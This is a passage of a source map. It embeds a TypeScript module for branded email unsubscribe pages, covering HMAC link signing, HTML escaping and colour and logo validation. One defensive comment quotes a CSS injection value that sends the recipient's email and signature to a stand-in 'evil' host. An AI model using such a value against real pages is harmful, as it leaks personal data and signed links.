'@aglyn/aglyn/app-utils/host-tokens'\nimport { absoluteMediaSrc } from '@aglyn/aglyn/app-utils/media-ref'\nimport { personKey, type PluginApiHandler } from '@aglyn/aglyn/server'\nimport { BRAND } from '@aglyn/shared-data-enums'\nimport type { HostTheme } from '@aglyn/shared-data-types'\n// Subpath, not the library index — see the note there.\nimport { prefersDarkInk } from '@aglyn/shared-util-tools/contrast'\n// The one escaper (AGL-2706). This module had its own, which escaped four\n// characters where the serialization needs five: a brand name, a topic label\n// and a signed query all reach these pages, and they are interpolated into\n// double-quoted attributes AND into element text, so the set has to be the\n// one that covers both.\nimport { escapeHtml } from '@aglyn/shared-util-tools/escape-html'\n// The leaf module, not the barrel: it imports `node:crypto` and nothing else,\n// which is what keeps this file free of Firestore. See `signedConfirmSubject`.\nimport { confirmSignatureSubject } from '@aglyn/tenant-data-admin/server/email-unsubscribe-link'\nimport { createHmac, timingSafeEqual } from 'crypto'\n\n/**\n * Suppression list keys are the SHA-256 of the normalized address (emails are\n * PII).\n *\n * `personKey` and NOT a fourth local `createHash` call. D5 of\n * `docs/specs/email-competitive-gaps.md` records two derivations that agree\n * only by luck: this module's predecessor hashed the address without\n * lowercasing or trimming, `campaign-send.ts` lowercased, and the two matched\n * only because `performCampaignSend` lowercases every address upstream before\n * the link is minted. The preference page is a THIRD caller, and the\n * instruction that comes with a third caller is to unify rather than to add a\n * variant.\n *\n * The digest is unchanged for every address these routes have ever seen —\n * `readParams` already trims and lowercases, which is exactly what\n * `normalizeContactEmail` does — so no stored suppression moves.\n *\n * @returns the key, or `null` for a value that is not an address. The old\n * local helper hashed anything it was handed, which meant a\n * malformed `email` parameter addressed a suppression document for a\n * person who does not exist.\n */\nexport function suppressionKeyFor(email: string): string | null {\n return personKey(email)\n}\n\n/**\n * The email palette, named once (AGL-2499 / AGL-2025).\n *\n * These are TRANSCRIPTIONS of the console theme's tokens — see the note on\n * {@link page} below — not new colors. They have to be literal hex because\n * this is email-adjacent HTML served without a stylesheet: no CSS variables,\n * no theme provider, so `theme.palette.*` cannot reach the wire. Naming them\n * here keeps that unavoidable literal to ONE place per color instead of once\n * per use, which is also what keeps this file under the AGL-2025 color\n * ratchet.\n *\n * A `const` is not a style slot, so the ratchet does not count these — and\n * that is the point: the check exists to catch a color typed inline where a\n * token would do, not a documented email palette.\n */\nexport const PAL = {\n /** Page backdrop behind the card. */\n pageBg: '#F5F5F5',\n /** The card itself. */\n cardBg: '#FFFFFF',\n /** Brand slate — wordmark and primary button fill. */\n brand: '#404C5C',\n /** The short accent rule under the wordmark. */\n accentRule: '#e040fb',\n /** Heading ink. */\n ink: '#212121',\n /** Body copy. */\n muted: '#616161',\n /** Text on a filled brand/link button. */\n onBrand: '#fff',\n /** Soft circle behind the success checkmark. */\n badgeBg: '#EEF0F2',\n /** Links and the resubscribe button fill. */\n link: '#00B0FF',\n /** Hairline between the preference page's topic rows. */\n divider: '#E0E0E0',\n} as const\n\n/** The palette a page paints with: {@link PAL}, or a host's colors over it. */\nexport type EmailPalette = { [K in keyof typeof PAL]: string }\n\n/**\n * Who the recipient is being shown as the sender.\n *\n * The four routes are reached from a MERCHANT's campaign, so the identity on\n * the page is the merchant's — not ours and not the deployment's. See\n * {@link resolveEmailPageBrand} for the fallback chain.\n */\nexport interface EmailPageBrand {\n /** The wordmark, the `<title>`, and the `alt` behind a logo that fails. */\n name: string\n /** An absolute `https:` logo, or nothing. */\n logoUrl?: string\n pal: EmailPalette\n}\n\n/**\n * The deployment's own identity — the fallback, and what a self-host operator\n * sees. `BRAND.ORG_NAME` stays correct per-DEPLOYMENT; the host brand layers\n * on top of it rather than replacing it.\n */\nexport const PLATFORM_EMAIL_BRAND: EmailPageBrand = Object.freeze({\n name: BRAND.ORG_NAME,\n pal: PAL,\n})\n\n/** The fields {@link resolveEmailPageBrand} reads off a `hosts/{hostId}` doc. */\nexport type EmailBrandSource = HostTokenSource & {\n $id?: string\n theme?: HostTheme\n}\n\n/**\n * A color safe to interpolate into an inline `style` attribute.\n *\n * HEX ONLY, and that is a security boundary rather than a style preference.\n * These values come from a merchant-editable theme and land inside\n * `style=\"…\"`, so any syntax richer than a hex literal is an injection: a\n * stored `red;background:url(https://evil/?e=` would close the declaration and\n * make the browser fetch a URL from a page whose own address carries the\n * recipient's email and its HMAC. `url()`, `expression()`, custom properties\n * and even `rgb()` are all refused for that one reason — none of them is worth\n * a parser here. Anything unrecognized falls back, so a malformed theme is a\n * plain page rather than a broken one.\n */\nconst HEX_COLOR = /^#(?:[0-9a-f]{3,4}|[0-9a-f]{6}|[0-9a-f]{8})$/i\n\nfunction safeColor(value: unknown, fallback: string): string {\n const text = typeof value === 'string' ? value.trim() : ''\n return HEX_COLOR.test(text) ? text : fallback\n}\n\n/**\n * Black or white text for a filled button, whichever the eye can actually read.\n *\n * Without this, a host whose primary is a pale yellow gets white-on-white and\n * the recipient cannot find the button that unsubscribes them — a legibility\n * failure on this page is a compliance failure, not a cosmetic one.\n *\n * The luminance and the split come from `shared-util-tools/contrast`, which\n * is the same math this file used to carry and the console carried a wrong\n * copy of. `safeColor` has already refused anything but a hex literal by the\n * time a color reaches here, so an unmeasurable one is impossible rather than\n * merely unlikely — and it still falls back to the on-brand ink if one does.\n */\nfunction readableInkOn(background: string): string {\n return prefersDarkInk(background) === true ? PAL.ink : PAL.onBrand\n}\n\n/**\n * The host's logo as an absolute `https:` URL, or nothing.\n *\n * `absoluteMediaSrc` because `logoUrl` has three stored generations and two of\n * them — a `media:` reference and the AGL-175 relative CDN path — resolve\n * site-RELATIVE (AGL-1407). This page is opened from an email, so there is no\n * page origin to resolve against and the stored value cannot be used as-is.\n *\n * `https:` only. The resolver will hand back whatever scheme an author typed,\n * and a `data:` URI here would be an unbounded payload inlined into a page we\n * must keep small and predictable, while `javascript:` is exactly the value a\n * merchant-editable field must never reach an attribute with. A value we\n * cannot make into an absolute `https:` URL yields no logo, which the shell\n * already handles by showing the wordmark.\n */\nfunction safeLogoUrl(host: EmailBrandSource): string | undefined {\n const stored = resolveHostToken('logo', host)\n if (!stored) return undefined\n const resolved = absoluteMediaSrc(stored, {\n hostId: host.$id,\n origin: hostPublicOrigin(host),\n })\n return resolved && /^https:\\/\\//i.test(resolved) ? resolved : undefined\n}\n\n/** A hostile 10KB display name must not become the whole page. */\nconst BRAND_NAME_MAX = 60\n\n/**\n * The merchant's identity for the shell, falling back to the deployment's.\n *\n * ONLY the brand-carrying slots are host-derived — the wordmark color, the\n * accent rule, the link/marker color and the primary button fill. The\n * neutrals (page, card, ink, muted, divider, badge) are deliberately FIXED.\n *\n * That split is the safety property. A theme is merchant-editable, and a site\n * whose `background.default` and `text.primary` are both white would otherwise\n * render an unreadable opt-out page — which is a compliance failure. Keeping\n * the surface and the body copy on known-legible values means the worst a\n * careless or hostile theme can do is pick an ugly accent, while the page a\n * recipient needs in order to leave still works. The button's own text is\n * contrast-matched to whatever fill it lands on ({@link readableInkOn}).\n *\n * Reads the LIGHT scheme only. There is no scheme toggle on a page opened from\n * an email, and the shell paints a light card unconditionally, so a host's\n * dark-scheme colors would be picked against the wrong background.\n *\n * Pure, and never a network call. A host with nothing set — or no host at all\n * — resolves to {@link PLATFORM_EMAIL_BRAND}, which is the self-host answer\n * as much as it is the missing-data one.\n */\nexport function resolveEmailPageBrand(\n host: EmailBrandSource | null | undefined,\n): EmailPageBrand {\n if (!host) return PLATFORM_EMAIL_BRAND\n // `resolveHostToken` rather than a fourth reading of these fields: the\n // closed registry already knows a business name is `seo.entity.name` before\n // `displayName`, and already says a missing logo falls back to the wordmark.\n const name =\n resolveHostToken('businessName', host)?.slice(0, BRAND_NAME_MAX).trim() ||\n BRAND.ORG_NAME\n const scheme = host.theme?.colorSchemes?.light\n // `''` distinguishes \"set to something unusable\" from \"not set\", which the\n // accent rule below needs: a host that themed a primary and no secondary\n // wants the rule in ITS color, while a host that themed nothing at all\n // wants the platform's accent rather than a slate rule nobody chose.\n const primary = safeColor(scheme?.primary?.main, '')\n const brand = primary || PAL.brand\n return {\n name,\n logoUrl: safeLogoUrl(host),\n pal: {\n ...PAL,\n brand,\n onBrand: readableInkOn(brand),\n link: brand,\n accentRule: safeColor(\n scheme?.secondary?.main,\n primary || PAL.accentRule,\n ),\n },\n }\n}\n\n/**\n * Branded shell (AGL-2411, per-tenant since AGL-2408): the plain `system-ui`\n * box this used to be read as an unstyled error page, not a page this product\n * owns — which matters here specifically, because this is the one screen a\n * recipient who does NOT trust the sender is looking at.\n *\n * The identity is the SENDING SITE's. A recipient of a merchant's newsletter\n * arrives here from that merchant's email, and a page headed with our name is\n * both wrong and, on the screen where somebody decides whether this mail is\n * legitimate, actively unhelpful. `brand` defaults to\n * {@link PLATFORM_EMAIL_BRAND} so a caller with no host — and a self-host\n * deployment — still gets a complete, correctly-named page.\n *\n * `maxWidth` widens for the preference page, which is a list of choices rather\n * than a single sentence and a button.\n *\n * `<meta charset>` even though `sendPage` sets the header: a client that\n * ignores the header, or a page saved to disk, otherwise renders the em-dashes\n * in this copy as mojibake.\n *\n * `<meta name=\"referrer\" content=\"no-referrer\">` because THIS page's own URL\n * carries the recipient's address and the HMAC that authorizes acting on it.\n * A host logo is a third-party request, and the default referrer policy would\n * hand that whole link to whoever serves the image.\n */\nexport function page(\n body: string,\n maxWidth = 420,\n brand: EmailPageBrand = PLATFORM_EMAIL_BRAND,\n): string {\n const pal = brand.pal\n const brandName = escapeHtml(brand.name)\n // `alt` is the business name, so a logo that 404s or is blocked degrades to\n // the wordmark with no script and no second request.\n const mark = brand.logoUrl\n ? `<img src=\"${escapeHtml(brand.logoUrl)}\" alt=\"${brandName}\" ` +\n 'referrerpolicy=\"no-referrer\" style=\"display:block;max-height:40px;' +\n 'max-width:200px;width:auto;height:auto;object-fit:contain;' +\n 'margin-bottom:4px\">'\n : `<div style=\"font-size:15px;font-weight:700;letter-spacing:.02em;` +\n `color:${pal.brand};margin-bottom:4px\">${brandName}</div>`\n return (\n '<!doctype html><meta charset=\"utf-8\">' +\n '<meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">' +\n '<meta name=\"referrer\" content=\"no-referrer\">' +\n `<title>${brandName}</title>` +\n '<div style=\"min-height:100vh;display:flex;align-items:center;justify-content:center;' +\n `background:${pal.pageBg};font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,` +\n 'Helvetica,Arial,sans-serif;padding:24px;box-sizing:border-box\">' +\n `<div style=\"max-width:${maxWidth}px;width:100%;background:${pal.cardBg};border-radius:12px;` +\n 'padding:36px 32px;box-shadow:0 1px 3px rgba(0,0,0,.08),0 8px 24px rgba(0,0,0,.06)\">' +\n mark +\n `<div style=\"width:32px;height:3px;border-radius:2px;background:${pal.accentRule};` +\n 'margin-bottom:24px\"></div>' +\n body +\n '</div></div>'\n )\n}\n\n/** A heading in the shell's type scale. */\nexport function heading(text: string): string {\n return (\n `<h1 style=\"margin:0 0 8px;font-size:20px;font-weight:700;color:${PAL.ink}\">` +\n `${text}</h1>`\n )\n}\n\n/** Body copy in the shell's type scale. */\nexport function paragraph(html: string, marginBottom = 24): string {\n return (\n `<p style=\"margin:0 0 ${marginBottom}px;font-size:14px;line-height:1.5;` +\n `color:${PAL.muted}\">${html}</p>`\n )\n}\n\n/** The success checkmark badge the result pages open with. */\nexport function successBadge(pal: EmailPalette = PAL): string {\n return (\n `<div style=\"width:40px;height:40px;border-radius:50%;background:${pal.badgeBg};` +\n 'display:flex;align-items:center;justify-content:center;margin-bottom:16px;' +\n `font-size:18px;color:${pal.brand}\">&#x2713;</div>`\n )\n}\n\n/**\n * A full-width submit button in either the brand or the link fill.\n *\n * The label ink is contrast-matched to the fill rather than fixed white: with\n * a host palette the fill is merchant-chosen, and a pale one would otherwise\n * hide the label on the button a recipient came here to press.\n */\nexport function submitButton(\n label: string,\n options?: {\n name?: string\n value?: string\n accent?: 'brand' | 'link'\n pal?: EmailPalette\n },\n): string {\n const pal = options?.pal ?? PAL\n const background = options?.accent === 'link' ? pal.link : pal.brand\n return (\n '<button type=\"submit\"' +\n (options?.name ? ` name=\"${escapeHtml(options.name)}\"` : '') +\n (options?.value ? ` value=\"${escapeHtml(options.value)}\"` : '') +\n ' style=\"font:inherit;font-size:14px;font-weight:600;' +\n `padding:11px 20px;border:0;border-radius:8px;background:${background};` +\n `color:${readableInkOn(background)};cursor:pointer;width:100%\">${label}</button>`\n )\n}\n\n/** Headers every one of these pages sets: never indexed, never cached. */\nexport function sendPage(\n res: Parameters<PluginApiHandler>[1],\n html: string,\n): void {\n res.setHeader('Content-Type', 'text/html; charset=utf-8')\n // Never indexed, never cached — the page names the recipient's address.\n res.setHeader('X-Robots-Tag', 'noindex, nofollow')\n res.setHeader('Cache-Control', 'no-store')\n res.status(200).send(html)\n}\n\n/** Everything the signed link carries. */\nexport interface UnsubscribeLinkParams {\n hostId: string\n email: string\n signature: string\n campaignId: string\n topicId: string\n}\n\n/**\n * The link's parameters, from the query for both verbs and from the form body\n * as a fallback.\n *\n * The one-click POST keeps the full query string (it posts to the header URL\n * verbatim), and so does the confirmation form's action — so query-first is\n * the path both real callers take. The body fallback exists so a form posted\n * to the bare path still works rather than failing as an invalid link.\n */\nexport function readParams(\n req: Parameters<PluginApiHandler>[0],\n): UnsubscribeLinkParams {\n const body = (req.body ?? {}) as Record<string, unknown>\n const pick = (name: string): string =>\n String(req.query[name] ?? body[name] ?? '')\n return {\n hostId: pick('hostId').trim(),\n email: pick('email').trim().toLowerCase(),\n signature: pick('sig').trim(),\n // `cid` names the campaign whose copy of this link was clicked. Absent on\n // every link minted before it existed, which is the whole design\n // constraint below.\n campaignId: pick('cid').trim(),\n // `tid` names the STREAM the message belonged to. Absent on every link\n // minted before topics existed, on the same footing as `cid`.\n topicId: pick('tid').trim(),\n }\n}\n\n/**\n * The subject a signature covers, or `null` when the parameters cannot make\n * one unambiguously.\n *\n * ## Three signed forms, and why that is not a weakening\n *\n * A link minted before campaign attribution existed signs `hostId:email`. A\n * link minted since signs `hostId:email:campaignId`. A link minted since\n * topics signs `hostId:email:campaignId:topicId`. All three are in inboxes\n * right now and all three have to keep working — an email is not recallable,\n * and an unsubscribe link that has stopped honoring itself is the one failure\n * in this area nobody gets to shrug at.\n *\n * Which form is checked is decided by the LINK, not by the signature: the\n * arity of the subject follows exactly which of `cid` and `tid` the URL\n * carries. There is no fallback between the forms, and that is what stops\n * this being a downgrade — an attacker cannot take a three-part link, drop\n * the `cid` and have it verify, because the two-part check over the same\n * `hostId:email` produces a different digest. Nor can they bolt a `cid` or a\n * `tid` onto a shorter link: the longer check then fails.\n *\n * ## What makes the three forms unambiguous\n *\n * The forms are joined with `:`, so a `cid` or `tid` that CONTAINED a colon\n * would let one subject string be read as two different parameter tuples —\n * a four-part `host:email:c:t` is byte-identical to a three-part subject\n * whose campaign id is `c:t`. That is the edit this function has to refuse:\n * an attacker holding a topic link could otherwise re-present it as a\n * campaign link with the topic spliced into the campaign id, and the topic\n * they were signed for would silently become something else.\n *\n * So a colon in either id is refused outright, on every form. It costs\n * nothing real: campaign ids come from `createResourceUid()`, which is\n * `nanoid`'s `A-Za-z0-9_-` alphabet, and `isEmailTopicId` refuses a colon at\n * the point a topic is created.\n *\n * A `tid` with no `cid` is refused for the same reason — the empty middle\n * component would make `host:email::t` and a campaign id of `:t` the same\n * string. Every link the send path mints carries both.\n */\nexport function signedSubject(params: {\n hostId: string\n email: string\n campaignId: string\n topicId: string\n}): string | null {\n const { hostId, email, campaignId, topicId } = params\n if (campaignId.includes(':') || topicId.includes(':')) return null\n if (topicId && !campaignId) return null\n if (topicId) return `${hostId}:${email}:${campaignId}:${topicId}`\n if (campaignId) return `${hostId}:${email}:${campaignId}`\n return `${hostId}:${email}`\n}\n\n/**\n * What a CONFIRMATION link's signature covers, or `null` when it cannot be\n * made unambiguously.\n *\n * ## The ONE derivation, not a second one\n *\n * The subject itself is `confirmSignatureSubject` in\n * `@aglyn/tenant-data-admin`, where the SENDER that mints the link lives. The\n * three unsubscribe forms are stated twice — once there, once here — and they\n * agree today by inspection; adding a fourth form the same way would be\n * adding a fourth chance for a signer and a verifier to disagree about a link\n * that is already sitting in somebody's inbox.\n *\n * The deep path rather than the barrel, for the reason `email-suppression.ts`\n * gives at length: that module imports nothing but `node:crypto`, so this\n * file stays free of Firestore and a spec can still exercise the signature\n * scheme without standing up a database double.\n */\nexport function signedConfirmSubject(params: {\n hostId: string\n email: string\n topicId: string\n}): string | null {\n return (\n confirmSignatureSubject(params.hostId, params.email, params.topicId) || null\n )\n}\n\n/**\n * Whether a signature is this link's.\n *\n * `timingSafeEqual` needs equal lengths, so the length is compared first — it\n * is not a secret, both digests are fixed-width hex, and the call throws on a\n * mismatch rather than returning false.\n */\nexport function signatureMatches(args: {\n hostId: string\n email: string\n campaignId: string\n topicId: string\n signature: string\n secret: string\n /**\n * Verify the CONFIRMATION subject instead of the unsubscribe forms.\n *\n * A flag rather than a second function, so that every signed link in the\n * product is checked by one comparison against one digest: the warning in\n * this module's own header — that two implementations of one signature\n * scheme is how the resubscribe link comes to reject a signature the\n * unsubscribe link just accepted — applies to a fourth route as much as a\n * third.\n */\n purpose?: 'unsubscribe' | 'confirm'\n}): boolean {\n const subject =\n args.purpose === 'confirm'\n ? signedConfirmSubject(args)\n : signedSubject(args)\n if (subject === null) return false\n const expected = createHmac('sha256', args.secret)\n .update(subject)\n .digest('hex')\n return (\n expected.length === args.signature.length &&\n timingSafeEqual(\n new Uint8Array(Buffer.from(expected)),\n new Uint8Array(Buffer.from(args.signature)),\n )\n )\n}\n\n\n/**\n * The signed parameters, re-encoded for a form action or a sibling link.\n *\n * Every id rides through to the POST form, the preference page and the\n * resubscribe link, because the signature covers them: dropping one would\n * produce a URL whose shorter check fails against a longer signature, i.e. a\n * confirmation button that refuses itself.\n */\nexport function signedQuery(params: UnsubscribeLinkParams): string {\n return (\n `hostId=${encodeURIComponent(params.hostId)}` +\n `&email=${encodeURIComponent(params.email)}` +\n `&sig=${encodeURIComponent(params.signature)}` +\n (params.campaignId ? `&cid=${encodeURIComponent(params.campaignId)}` : '') +\n (params.topicId ? `&tid=${encodeURIComponent(params.topicId)}` : '')\n )\n}\n\n/**\n * A campaign id that is safe to use as a Firestore path component.\n *\n * `cid` arrives on a URL, so \"non-empty\" was never the question — a value of\n * `a/b/c` addresses `campaigns/a/b/c`, a path the merchant can neither see\n * nor delete. The signature already proves the value is ours, so this is the\n * second lock rather than the only one; it is here because a path component\n * built from request text gets validated at the place it becomes a path.\n */\nexport function isCampaignPathId(value: string): boolean {\n return (\n !!value &&\n value.length <= 1500 &&\n !value.includes('/') &&\n value !== '.' &&\n value !== '..' &&\n !/^__.*__$/.test(value)\n )\n}\n"],"names":["hostPublicOrigin","resolveHostToken","absoluteMediaSrc","personKey","BRAND","prefersDarkInk","escapeHtml","confirmSignatureSubject","createHmac","timingSafeEqual","suppressionKeyFor","email","PAL","pageBg","cardBg","brand","accentRule","ink","muted","onBrand","badgeBg","link","divider","PLATFORM_EMAIL_BRAND","Object","freeze","name","ORG_NAME","pal","HEX_COLOR","safeColor","value","fallback","text","trim","test","readableInkOn","background","safeLogoUrl","host","stored","undefined","resolved","hostId","$id","origin","BRAND_NAME_MAX","resolveEmailPageBrand","scheme","slice","theme","colorSchemes","light","primary","main","logoUrl","secondary","page","body","maxWidth","brandName","mark","heading","paragraph","html","marginBottom","successBadge","submitButton","label","options","accent","sendPage","res","setHeader","status","send","readParams","req","pick","String","query","toLowerCase","signature","campaignId","topicId","signedSubject","params","includes","signedConfirmSubject","signatureMatches","args","subject","purpose","expected","secret","update","digest","length","Uint8Array","Buffer","from","signedQuery","encodeURIComponent","isCampaignPathId"],"mappings":"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